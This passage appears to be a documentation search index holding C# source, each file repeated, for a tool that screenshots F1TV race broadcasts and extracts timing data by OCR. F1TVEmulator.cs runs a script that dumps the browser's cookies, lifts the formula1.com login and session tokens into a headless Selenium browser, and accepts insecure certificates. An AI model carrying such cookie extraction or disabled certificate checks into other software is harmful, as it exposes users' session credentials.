DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 3, false)); break; } } } } public void AutoCalibrate() { List detectedText = new List(); List zones = new List(); TesseractEngine engine = new TesseractEngine(Window.TESS_DATA_FOLDER.FullName, \"eng\", EngineMode.Default); Image image = MainZone.ZoneImage; var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image)); Page page = engine.Process(tessImage); using (var iter = page.GetIterator()) { iter.Begin(); do { Rect boundingBox; if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox)) { //var text = iter.GetText(PageIteratorLevel.Word).ToUpper(); //We remove all the rectangles that are definitely too big if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if (boundingBox.X1 > image.Width / 2) { //Now we check if an other square box has been found roughly in the same y axis bool match = false; //The tolerance is roughly half the size that a window will be int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2; foreach (Rectangle rect in detectedText) { if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance) { //There already is a rectangle in this line match = true; } } //if nothing matched we can add it if (!match) detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height)); } } } } while (iter.Next(PageIteratorLevel.Word)); } //DEBUG int i = 1; foreach (Rectangle Rectangle in detectedText) { Rectangle windowRectangle; Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS); Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2); windowRectangle = new Rectangle(windowLocation, windowSize); //We add the driver zones Zone driverZone = new Zone(MainZone.ZoneImage, windowRectangle, \"DriverZone\"); MainZone.AddZone(driverZone); driverZone.ZoneImage.Save(\"Driver\" + i+\".png\"); i++; } } } }","title":"ConfigurationTool.cs"},{"location":"Code/ConfigurationTool.html#configurationtoolcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : ConfigurationTool.cs /// Brief : Class that contains all the methods needed to create a config file for the OCR /// Version : 0.1 using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using Tesseract; using System.IO; namespace Test_Merge { public class ConfigurationTool { public Zone MainZone; public const int NUMBER_OF_DRIVERS = 20; public const int NUMBER_OF_ZONES = 9; public const string CONFIGS_FOLDER_NAME = \"./Presets/\"; public ConfigurationTool(Bitmap fullImage, Rectangle mainZoneDimensions) { MainZone = new Zone(fullImage, mainZoneDimensions,\"Main\"); AutoCalibrate(); } public void ResetMainZone() { MainZone.ResetZones(); } public void ResetWindows() { MainZone.ResetWindows(); } public void SaveToJson(List drivers, string configName) { string JSON = \"\"; JSON += \"{\" + Environment.NewLine; JSON += MainZone.ToJSON() + \",\" + Environment.NewLine; JSON += \"\\\"Drivers\\\":[\" + Environment.NewLine; for (int i = 0; i < drivers.Count; i++) { JSON += \"\\\"\" + drivers[i] + \"\\\"\"; if (i < drivers.Count - 1) JSON += \",\"; JSON += Environment.NewLine; } JSON += \"]\" + Environment.NewLine; JSON += \"}\"; if (!Directory.Exists(CONFIGS_FOLDER_NAME)) Directory.CreateDirectory(CONFIGS_FOLDER_NAME); string path = CONFIGS_FOLDER_NAME + configName; if (File.Exists(path + \".json\")) { //We need to create a new name int count = 2; while (File.Exists(path + \"_\" + count + \".json\")) { count++; } path += \"_\" + count + \".json\"; } else { path += \".json\"; } File.WriteAllText(path, JSON); } public void AddWindows(List rectangles) { foreach (Zone driverZone in MainZone.Zones) { Bitmap zoneImage = driverZone.ZoneImage; for (int i = 1; i <= rectangles.Count; i++) { switch (i) { case 1: //First zone should be the driver's Position driverZone.AddWindow(new DriverPositionWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 2: //First zone should be the Gap to leader driverZone.AddWindow(new DriverGapToLeaderWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 3: //First zone should be the driver's Lap Time driverZone.AddWindow(new DriverLapTimeWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 4: //First zone should be the driver's DRS status driverZone.AddWindow(new DriverDrsWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 5: //First zone should be the driver's Tyre's informations driverZone.AddWindow(new DriverTyresWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 6: //First zone should be the driver's Name driverZone.AddWindow(new DriverNameWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 7: //First zone should be the driver's First Sector driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 1, false)); break; case 8: //First zone should be the driver's Second Sector driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 2, false)); break; case 9: //First zone should be the driver's Position Sector driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 3, false)); break; } } } } public void AutoCalibrate() { List detectedText = new List(); List zones = new List(); TesseractEngine engine = new TesseractEngine(Window.TESS_DATA_FOLDER.FullName, \"eng\", EngineMode.Default); Image image = MainZone.ZoneImage; var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image)); Page page = engine.Process(tessImage); using (var iter = page.GetIterator()) { iter.Begin(); do { Rect boundingBox; if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox)) { //var text = iter.GetText(PageIteratorLevel.Word).ToUpper(); //We remove all the rectangles that are definitely too big if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if (boundingBox.X1 > image.Width / 2) { //Now we check if an other square box has been found roughly in the same y axis bool match = false; //The tolerance is roughly half the size that a window will be int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2; foreach (Rectangle rect in detectedText) { if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance) { //There already is a rectangle in this line match = true; } } //if nothing matched we can add it if (!match) detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height)); } } } } while (iter.Next(PageIteratorLevel.Word)); } //DEBUG int i = 1; foreach (Rectangle Rectangle in detectedText) { Rectangle windowRectangle; Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS); Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2); windowRectangle = new Rectangle(windowLocation, windowSize); //We add the driver zones Zone driverZone = new Zone(MainZone.ZoneImage, windowRectangle, \"DriverZone\"); MainZone.AddZone(driverZone); driverZone.ZoneImage.Save(\"Driver\" + i+\".png\"); i++; } } } }","title":"ConfigurationTool.cs"},{"location":"Code/DriverGapToLeaderWindow.html","text":"DriverGapToLeaderWindow.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverGapToLeaderWindow.cs /// Brief : Window containing infos about the gap to the leader of a driver /// Version : 0.1 using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Test_Merge { internal class DriverGapToLeaderWindow:Window { public DriverGapToLeaderWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"GapToLeader\"; } ///

    /// Decodes the gap to leader using Tesseract OCR /// /// public override async Task DecodePng() { int result = await GetTimeFromPng(WindowImage, OcrImage.WindowType.Gap, Engine); return result; } } }","title":"DriverGapToLeaderWindow.cs"},{"location":"Code/DriverGapToLeaderWindow.html#drivergaptoleaderwindowcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverGapToLeaderWindow.cs /// Brief : Window containing infos about the gap to the leader of a driver /// Version : 0.1 using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Test_Merge { internal class DriverGapToLeaderWindow:Window { public DriverGapToLeaderWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"GapToLeader\"; } /// /// Decodes the gap to leader using Tesseract OCR /// /// public override async Task DecodePng() { int result = await GetTimeFromPng(WindowImage, OcrImage.WindowType.Gap, Engine); return result; } } }","title":"DriverGapToLeaderWindow.cs"},{"location":"Code/DriverPositionWindow.html","text":"DriverPositionWindow.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverPosition.cs /// Brief : Window containing infos about the position of a driver. /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { public class DriverPositionWindow:Window { public DriverPositionWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"Position\"; } /// /// Decodes the position number using Tesseract OCR /// /// The position of the pilot in int public override async Task DecodePng() { string ocrResult = await GetStringFromPng(WindowImage, Engine, \"0123456789\"); int position; try { position = Convert.ToInt32(ocrResult); } catch { position = -1; } return position; } } }","title":"DriverPositionWindow.cs"},{"location":"Code/DriverPositionWindow.html#driverpositionwindowcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverPosition.cs /// Brief : Window containing infos about the position of a driver. /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { public class DriverPositionWindow:Window { public DriverPositionWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"Position\"; } /// /// Decodes the position number using Tesseract OCR /// /// The position of the pilot in int public override async Task DecodePng() { string ocrResult = await GetStringFromPng(WindowImage, Engine, \"0123456789\"); int position; try { position = Convert.ToInt32(ocrResult); } catch { position = -1; } return position; } } }","title":"DriverPositionWindow.cs"},{"location":"Code/F1TVEmulator.html","text":"F1TVEmulator.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : F1TVEmulator.cs /// Brief : Class that contains methods to emulate a browser and navigate the F1TV website /// Version : 0.1 using OpenQA.Selenium; using OpenQA.Selenium.Firefox; using OpenQA.Selenium.Interactions; using OpenQA.Selenium.Support.UI; using System; using System.Collections.Generic; using System.Diagnostics; using System.Drawing; using System.IO; using System.Linq; using System.Text; using System.Threading; using System.Threading.Tasks; namespace Test_Merge { internal class F1TVEmulator { public const string COOKIE_HOST = \".formula1.com\"; public const string PYTHON_COOKIE_RETRIEVAL_FILENAME = \"recoverCookiesCSV.py\"; public const string GECKODRIVER_FILENAME = @\"geckodriver-v0.27.0-win64\\geckodriver.exe\"; //BE CAREFULL IF YOU CHANGE IT HERE YOU NEED TO CHANGE IT IN THE PYTHON SCRIPT TOO public const string COOKIES_CSV_FILENAME = \"cookies.csv\"; private FirefoxDriver Driver; private bool _ready; private string _grandPrixUrl; public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; } public bool Ready { get => _ready; set => _ready = value; } public F1TVEmulator(string grandPrixUrl) { GrandPrixUrl = grandPrixUrl; Ready = false; } private void StartCookieRecovering() { string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME; Process process = new Process(); process.StartInfo.FileName = \"python.exe\"; process.StartInfo.Arguments = scriptPath; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardOutput = true; process.Start(); string output = process.StandardOutput.ReadToEnd(); process.WaitForExit(); } public string GetCookie(string host, string name) { StartCookieRecovering(); string value = \"\"; List cookies = new List(); using (var reader = new StreamReader(COOKIES_CSV_FILENAME)) { // Read the header row and validate column order string header = reader.ReadLine(); string[] expectedColumns = { \"host_key\", \"name\", \"value\", \"path\", \"expires_utc\", \"is_secure\", \"is_httponly\" }; string[] actualColumns = header.Split(','); for (int i = 0; i < expectedColumns.Length; i++) { if (expectedColumns[i] != actualColumns[i]) { throw new InvalidOperationException($\"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'\"); } } // Read each data row and parse values into a Cookie object while (!reader.EndOfStream) { string line = reader.ReadLine(); string[] fields = line.Split(','); string hostname = fields[0]; string cookieName = fields[1]; if (hostname == host && cookieName == name) { value = fields[2]; } } } return value; } public async Task Start() { Ready = false; string loginCookieName = \"login\"; string loginSessionCookieName = \"login-session\"; string loginCookieValue = GetCookie(COOKIE_HOST, loginCookieName); string loginSessionValue = GetCookie(COOKIE_HOST, loginSessionCookieName); int windowWidth = 1920; int windowHeight = 768; var service = FirefoxDriverService.CreateDefaultService(GECKODRIVER_FILENAME); service.Host = \"127.0.0.1\"; service.Port = 5555; FirefoxProfile profile = new FirefoxProfile(); FirefoxOptions options = new FirefoxOptions(); //profile.SetPreference(\"full-screen-api.ignore-widgets\", true); //profile.SetPreference(\"media.hardware-video-decoding.enabled\", true); //profile.SetPreference(\"full-screen-api.enabled\", true); options.Profile = profile; profile.SetPreference(\"layout.css.devPixelsPerPx\", \"1.0\"); options.AcceptInsecureCertificates = true; options.AddArgument(\"--headless\"); //options.AddArgument(\"--start-maximized\"); //options.AddArgument(\"--window-size=1920x1080\"); //options.AddArgument(\"--width=\" + windowWidth); //options.AddArgument(\"--height=\" + windowHeight); //options.AddArgument(\"-window-size=1920x1080\"); //options.AddArgument(\"--width=1920\"); //options.AddArgument(\"--height=1080\"); //profile try { Driver = new FirefoxDriver(service, options); } catch { Ready = false; return 101; } Actions actions = new Actions(Driver); var loginCookie = new Cookie(loginCookieName, loginCookieValue, COOKIE_HOST, \"/\", DateTime.Now.AddDays(5)); var loginSessionCookie = new Cookie(loginSessionCookieName, loginSessionValue, COOKIE_HOST, \"/\", DateTime.Now.AddDays(5)); Driver.Navigate().GoToUrl(\"https://f1tv.formula1.com/\"); Driver.Manage().Cookies.AddCookie(loginCookie); Driver.Manage().Cookies.AddCookie(loginSessionCookie); try { Driver.Navigate().GoToUrl(GrandPrixUrl); } catch { //The url is not a valid url Driver.Dispose(); return 103; } //Waits for the page to fully load Driver.Manage().Timeouts().PageLoad = TimeSpan.FromSeconds(30); //Removes the cookie prompt try { IWebElement conscentButton = Driver.FindElement(By.Id(\"truste-consent-button\")); conscentButton.Click(); } catch { //Could not locate the cookie button Screenshot(\"ERROR104\"); Driver.Dispose(); return 104; } //Again waits for the page to fully load (when you accept cookies it takes a little time for the page to load) //Cannot use The timeout because the feed loading is not really loading so there is not event or anything Thread.Sleep(5000); //Switches to the Data channel try { IWebElement dataChannelButton = Driver.FindElement(By.ClassName(\"data-button\")); dataChannelButton.Click(); } catch { //If the data button does not exists its because the user is not connected Screenshot(\"ERROR102\"); Driver.Dispose(); return 102; } //Open settings // Press the space key, this should make the setting button visible // It does not matter if the feed is paused because when changing channel it autoplays actions.SendKeys(OpenQA.Selenium.Keys.Space).Perform(); //Clicks on the settings Icon int tries = 0; bool success = false; while (tries < 100 && !success) { Thread.Sleep(100); try { IWebElement settingsButton = Driver.FindElement(By.ClassName(\"bmpui-ui-settingstogglebutton\")); settingsButton.Click(); IWebElement selectElement = Driver.FindElement(By.ClassName(\"bmpui-ui-videoqualityselectbox\")); SelectElement select = new SelectElement(selectElement); IWebElement selectOption = selectElement.FindElement(By.CssSelector(\"option[value^='1080_']\")); selectOption.Click(); success = true; } catch { //Sometimes it can crash because it could not get the options to show up in time. When it happens just retry success = false; tries++; } } if (!success) { Screenshot(\"ERROR105\"); Driver.Dispose(); return 105; } Screenshot(\"BEFOREFULLSCREEN\"); //Makes the feed fullscreen //Driver.Manage().Window.Size = new System.Drawing.Size(windowWidth, windowHeight); Driver.Manage().Window.Maximize(); WebDriverWait wait = new WebDriverWait(Driver, TimeSpan.FromSeconds(10)); try { IWebElement fullScreenButton = Driver.FindElement(By.ClassName(\"bmpui-ui-fullscreentogglebutton\")); fullScreenButton.Click(); } catch { Screenshot(\"ERROR106\"); Driver.Dispose(); return 106; } Screenshot(\"AFTERFULLSCREEN\"); //STARTUP FINISHED READY TO SCREENSHOT Ready = true; return 0; } public Bitmap Screenshot(string name = \"TEST\") { Bitmap result = new Bitmap(4242, 6969); try { //Screenshot scrsht = ((ITakesScreenshot)Driver).GetScreenshot(); //profileriver.SetPreference(\"layout.css.devPixelsPerPx\", \"1.0\"); //Screenshot scrsht = Driver.GetFullPageScreenshot(); Screenshot scrsht = Driver.GetScreenshot(); byte[] screenshotBytes = Convert.FromBase64String(scrsht.AsBase64EncodedString); MemoryStream stream = new MemoryStream(screenshotBytes); result = new Bitmap(stream); //result.Save(name + \".png\"); scrsht.SaveAsFile(name + \".png\"); } catch { //Nothing for now } return result; } public void Stop() { Ready = false; Driver.Dispose(); } public void ResetDriver() { Ready = false; Driver.Dispose(); Driver = null; } } }","title":"F1TVEmulator.cs"},{"location":"Code/F1TVEmulator.html#f1tvemulatorcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : F1TVEmulator.cs /// Brief : Class that contains methods to emulate a browser and navigate the F1TV website /// Version : 0.1 using OpenQA.Selenium; using OpenQA.Selenium.Firefox; using OpenQA.Selenium.Interactions; using OpenQA.Selenium.Support.UI; using System; using System.Collections.Generic; using System.Diagnostics; using System.Drawing; using System.IO; using System.Linq; using System.Text; using System.Threading; using System.Threading.Tasks; namespace Test_Merge { internal class F1TVEmulator { public const string COOKIE_HOST = \".formula1.com\"; public const string PYTHON_COOKIE_RETRIEVAL_FILENAME = \"recoverCookiesCSV.py\"; public const string GECKODRIVER_FILENAME = @\"geckodriver-v0.27.0-win64\\geckodriver.exe\"; //BE CAREFULL IF YOU CHANGE IT HERE YOU NEED TO CHANGE IT IN THE PYTHON SCRIPT TOO public const string COOKIES_CSV_FILENAME = \"cookies.csv\"; private FirefoxDriver Driver; private bool _ready; private string _grandPrixUrl; public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; } public bool Ready { get => _ready; set => _ready = value; } public F1TVEmulator(string grandPrixUrl) { GrandPrixUrl = grandPrixUrl; Ready = false; } private void StartCookieRecovering() { string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME; Process process = new Process(); process.StartInfo.FileName = \"python.exe\"; process.StartInfo.Arguments = scriptPath; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardOutput = true; process.Start(); string output = process.StandardOutput.ReadToEnd(); process.WaitForExit(); } public string GetCookie(string host, string name) { StartCookieRecovering(); string value = \"\"; List cookies = new List(); using (var reader = new StreamReader(COOKIES_CSV_FILENAME)) { // Read the header row and validate column order string header = reader.ReadLine(); string[] expectedColumns = { \"host_key\", \"name\", \"value\", \"path\", \"expires_utc\", \"is_secure\", \"is_httponly\" }; string[] actualColumns = header.Split(','); for (int i = 0; i < expectedColumns.Length; i++) { if (expectedColumns[i] != actualColumns[i]) { throw new InvalidOperationException($\"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'\"); } } // Read each data row and parse values into a Cookie object while (!reader.EndOfStream) { string line = reader.ReadLine(); string[] fields = line.Split(','); string hostname = fields[0]; string cookieName = fields[1]; if (hostname == host && cookieName == name) { value = fields[2]; } } } return value; } public async Task Start() { Ready = false; string loginCookieName = \"login\"; string loginSessionCookieName = \"login-session\"; string loginCookieValue = GetCookie(COOKIE_HOST, loginCookieName); string loginSessionValue = GetCookie(COOKIE_HOST, loginSessionCookieName); int windowWidth = 1920; int windowHeight = 768; var service = FirefoxDriverService.CreateDefaultService(GECKODRIVER_FILENAME); service.Host = \"127.0.0.1\"; service.Port = 5555; FirefoxProfile profile = new FirefoxProfile(); FirefoxOptions options = new FirefoxOptions(); //profile.SetPreference(\"full-screen-api.ignore-widgets\", true); //profile.SetPreference(\"media.hardware-video-decoding.enabled\", true); //profile.SetPreference(\"full-screen-api.enabled\", true); options.Profile = profile; profile.SetPreference(\"layout.css.devPixelsPerPx\", \"1.0\"); options.AcceptInsecureCertificates = true; options.AddArgument(\"--headless\"); //options.AddArgument(\"--start-maximized\"); //options.AddArgument(\"--window-size=1920x1080\"); //options.AddArgument(\"--width=\" + windowWidth); //options.AddArgument(\"--height=\" + windowHeight); //options.AddArgument(\"-window-size=1920x1080\"); //options.AddArgument(\"--width=1920\"); //options.AddArgument(\"--height=1080\"); //profile try { Driver = new FirefoxDriver(service, options); } catch { Ready = false; return 101; } Actions actions = new Actions(Driver); var loginCookie = new Cookie(loginCookieName, loginCookieValue, COOKIE_HOST, \"/\", DateTime.Now.AddDays(5)); var loginSessionCookie = new Cookie(loginSessionCookieName, loginSessionValue, COOKIE_HOST, \"/\", DateTime.Now.AddDays(5)); Driver.Navigate().GoToUrl(\"https://f1tv.formula1.com/\"); Driver.Manage().Cookies.AddCookie(loginCookie); Driver.Manage().Cookies.AddCookie(loginSessionCookie); try { Driver.Navigate().GoToUrl(GrandPrixUrl); } catch { //The url is not a valid url Driver.Dispose(); return 103; } //Waits for the page to fully load Driver.Manage().Timeouts().PageLoad = TimeSpan.FromSeconds(30); //Removes the cookie prompt try { IWebElement conscentButton = Driver.FindElement(By.Id(\"truste-consent-button\")); conscentButton.Click(); } catch { //Could not locate the cookie button Screenshot(\"ERROR104\"); Driver.Dispose(); return 104; } //Again waits for the page to fully load (when you accept cookies it takes a little time for the page to load) //Cannot use The timeout because the feed loading is not really loading so there is not event or anything Thread.Sleep(5000); //Switches to the Data channel try { IWebElement dataChannelButton = Driver.FindElement(By.ClassName(\"data-button\")); dataChannelButton.Click(); } catch { //If the data button does not exists its because the user is not connected Screenshot(\"ERROR102\"); Driver.Dispose(); return 102; } //Open settings // Press the space key, this should make the setting button visible // It does not matter if the feed is paused because when changing channel it autoplays actions.SendKeys(OpenQA.Selenium.Keys.Space).Perform(); //Clicks on the settings Icon int tries = 0; bool success = false; while (tries < 100 && !success) { Thread.Sleep(100); try { IWebElement settingsButton = Driver.FindElement(By.ClassName(\"bmpui-ui-settingstogglebutton\")); settingsButton.Click(); IWebElement selectElement = Driver.FindElement(By.ClassName(\"bmpui-ui-videoqualityselectbox\")); SelectElement select = new SelectElement(selectElement); IWebElement selectOption = selectElement.FindElement(By.CssSelector(\"option[value^='1080_']\")); selectOption.Click(); success = true; } catch { //Sometimes it can crash because it could not get the options to show up in time. When it happens just retry success = false; tries++; } } if (!success) { Screenshot(\"ERROR105\"); Driver.Dispose(); return 105; } Screenshot(\"BEFOREFULLSCREEN\"); //Makes the feed fullscreen //Driver.Manage().Window.Size = new System.Drawing.Size(windowWidth, windowHeight); Driver.Manage().Window.Maximize(); WebDriverWait wait = new WebDriverWait(Driver, TimeSpan.FromSeconds(10)); try { IWebElement fullScreenButton = Driver.FindElement(By.ClassName(\"bmpui-ui-fullscreentogglebutton\")); fullScreenButton.Click(); } catch { Screenshot(\"ERROR106\"); Driver.Dispose(); return 106; } Screenshot(\"AFTERFULLSCREEN\"); //STARTUP FINISHED READY TO SCREENSHOT Ready = true; return 0; } public Bitmap Screenshot(string name = \"TEST\") { Bitmap result = new Bitmap(4242, 6969); try { //Screenshot scrsht = ((ITakesScreenshot)Driver).GetScreenshot(); //profileriver.SetPreference(\"layout.css.devPixelsPerPx\", \"1.0\"); //Screenshot scrsht = Driver.GetFullPageScreenshot(); Screenshot scrsht = Driver.GetScreenshot(); byte[] screenshotBytes = Convert.FromBase64String(scrsht.AsBase64EncodedString); MemoryStream stream = new MemoryStream(screenshotBytes); result = new Bitmap(stream); //result.Save(name + \".png\"); scrsht.SaveAsFile(name + \".png\"); } catch { //Nothing for now } return result; } public void Stop() { Ready = false; Driver.Dispose(); } public void ResetDriver() { Ready = false; Driver.Dispose(); Driver = null; } } }","title":"F1TVEmulator.cs"},{"location":"Code/Program.html","text":"Program.cs \ufeffusing System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using System.Windows.Forms; namespace Test_Merge { internal static class Program { /// /// The main entry point for the application. /// [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form1()); } } }","title":"Program.cs"},{"location":"Code/Program.html#programcs","text":"\ufeffusing System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using System.Windows.Forms; namespace Test_Merge { internal static class Program { /// /// The main entry point for the application. /// [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form1()); } } }","title":"Program.cs"},{"location":"Code/Window.html","text":"Window.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : Window.cs /// Brief : Default Window object that is mainly expected to be inherited. /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; using System.IO; using Tesseract; using System.Text.RegularExpressions; using System.Drawing.Drawing2D; namespace Test_Merge { public class Window { private Rectangle _bounds; private Bitmap _image; private string _name; protected TesseractEngine Engine; public Rectangle Bounds { get => _bounds; private set => _bounds = value; } public Bitmap Image { get => _image; set => _image = value; } public string Name { get => _name; protected set => _name = value; } //This will have to be changed if you want to make it run on your machine public static DirectoryInfo TESS_DATA_FOLDER = new DirectoryInfo(@\"C:\\Users\\Moi\\Pictures\\SeleniumScreens\\TessData\"); public Bitmap WindowImage { get { //This little trickery lets you have the image that the window sees Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel); return sample; } } public Window(Bitmap image, Rectangle bounds, bool generateEngine = true) { Image = image; Bounds = bounds; if (generateEngine) { Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, \"eng\", EngineMode.Default); Engine.DefaultPageSegMode = PageSegMode.SingleLine; } } /// /// Method that will have to be used by the childrens to let the model make them decode the images they have /// /// Returns an object because we dont know what kind of return it will be public virtual async Task DecodePng() { return \"NaN\"; } /// /// Method that will have to be used by the childrens to let the model make them decode the images they have /// /// This is a list of the different possible drivers in the race. It should not be too big but NEVER be too short /// Returns an object because we dont know what kind of return it will be public virtual async Task DecodePng(List driverList) { return \"NaN\"; } /// /// This converts an image into a byte[]. It can be usefull when doing unsafe stuff. Use at your own risks /// /// The image you want to convert /// A byte array containing the image informations public static byte[] ImageToByte(Image inputImage) { using (var stream = new MemoryStream()) { inputImage.Save(stream, System.Drawing.Imaging.ImageFormat.Png); return stream.ToArray(); } } /// /// This method is used to recover a time from a PNG using Tesseract OCR /// /// The image where the text is /// The type of window it is /// The Tesseract Engine /// The time in milliseconds public static async Task GetTimeFromPng(Bitmap windowImage, OcrImage.WindowType windowType, TesseractEngine Engine) { //Kind of a big method but it has a lot of error handling and has to work with three special cases string rawResult = \"\"; int result = 0; switch (windowType) { case OcrImage.WindowType.Sector: //The usual sector is in this form : 33.456 Engine.SetVariable(\"tessedit_char_whitelist\", \"0123456789.\"); break; case OcrImage.WindowType.LapTime: //The usual Lap time is in this form : 1:45:345 Engine.SetVariable(\"tessedit_char_whitelist\", \"0123456789.:\"); break; case OcrImage.WindowType.Gap: //The usual Gap is in this form : + 34.567 Engine.SetVariable(\"tessedit_char_whitelist\", \"0123456789.+\"); break; default: Engine.SetVariable(\"tessedit_char_whitelist\", \"\"); break; } Bitmap enhancedImage = new OcrImage(windowImage).Enhance(windowType); var tessImage = Pix.LoadFromMemory(ImageToByte(enhancedImage)); Page page = Engine.Process(tessImage); Graphics g = Graphics.FromImage(enhancedImage); // Get the iterator for the page layout using (var iter = page.GetIterator()) { // Loop over the elements of the page layout iter.Begin(); do { // Get the text for the current element try { rawResult += iter.GetText(PageIteratorLevel.Word); } catch { //nothing we just dont add it if its not a number } } while (iter.Next(PageIteratorLevel.Word)); } List rawNumbers; //In the gaps we can find '+' but we dont care about it its redondant a driver will never be - something if (windowType == OcrImage.WindowType.Gap) rawResult = Regex.Replace(rawResult, \"[^0-9.:]\", \"\"); //Splits into minuts seconds miliseconds rawNumbers = rawResult.Split('.', ':').ToList(); //removes any empty cells (tho this usually sign of a really bad OCR implementation tbh will have to be fixed higher in the chian) rawNumbers.RemoveAll(x => ((string)x) == \"\"); if (rawNumbers.Count == 3) { //mm:ss:ms result = (Convert.ToInt32(rawNumbers[0]) * 1000 * 60) + (Convert.ToInt32(rawNumbers[1]) * 1000) + Convert.ToInt32(rawNumbers[2]); } else { if (rawNumbers.Count == 2) { //ss:ms result = (Convert.ToInt32(rawNumbers[0]) * 1000) + Convert.ToInt32(rawNumbers[1]); if (result > 999999) { //We know that we have way too much seconds to make a minut //Its usually because the \":\" have been interpreted as a number int minuts = (int)(rawNumbers[0][0] - '0'); // rawNumbers[0][1] should contain the : that has been mistaken int seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString()); int ms = Convert.ToInt32(rawNumbers[1]); result = (Convert.ToInt32(minuts) * 1000 * 60) + (Convert.ToInt32(seconds) * 1000) + Convert.ToInt32(ms); } } else { if (rawNumbers.Count == 1) { try { result = Convert.ToInt32(rawNumbers[0]); } catch { //It can be because the input is empty or because its the LEADER bracket result = 0; } } else { //Auuuugh result = 0; } } } page.Dispose(); return result; } /// /// Method that recovers strings from an image using Tesseract OCR /// /// The image of the window that contains text /// The Tesseract engine /// The list of allowed chars /// The type of window the text is on. Depending on the context the OCR will behave differently /// the string it found public static async Task GetStringFromPng(Bitmap WindowImage, TesseractEngine Engine, string allowedChars = \"\", OcrImage.WindowType windowType = OcrImage.WindowType.Text) { string result = \"\"; Engine.SetVariable(\"tessedit_char_whitelist\", allowedChars); Bitmap rawData = WindowImage; Bitmap enhancedImage = new OcrImage(rawData).Enhance(windowType); Page page = Engine.Process(enhancedImage); using (var iter = page.GetIterator()) { iter.Begin(); do { result += iter.GetText(PageIteratorLevel.Word); } while (iter.Next(PageIteratorLevel.Word)); } page.Dispose(); return result; } /// /// Get a smaller image from a bigger one /// /// The big bitmap you want to get a part of /// The dimensions of the new bitmap /// The little bitmap protected Bitmap GetSmallBitmapFromBigOne(Bitmap inputBitmap, Rectangle newBitmapDimensions) { Bitmap sample = new Bitmap(newBitmapDimensions.Width, 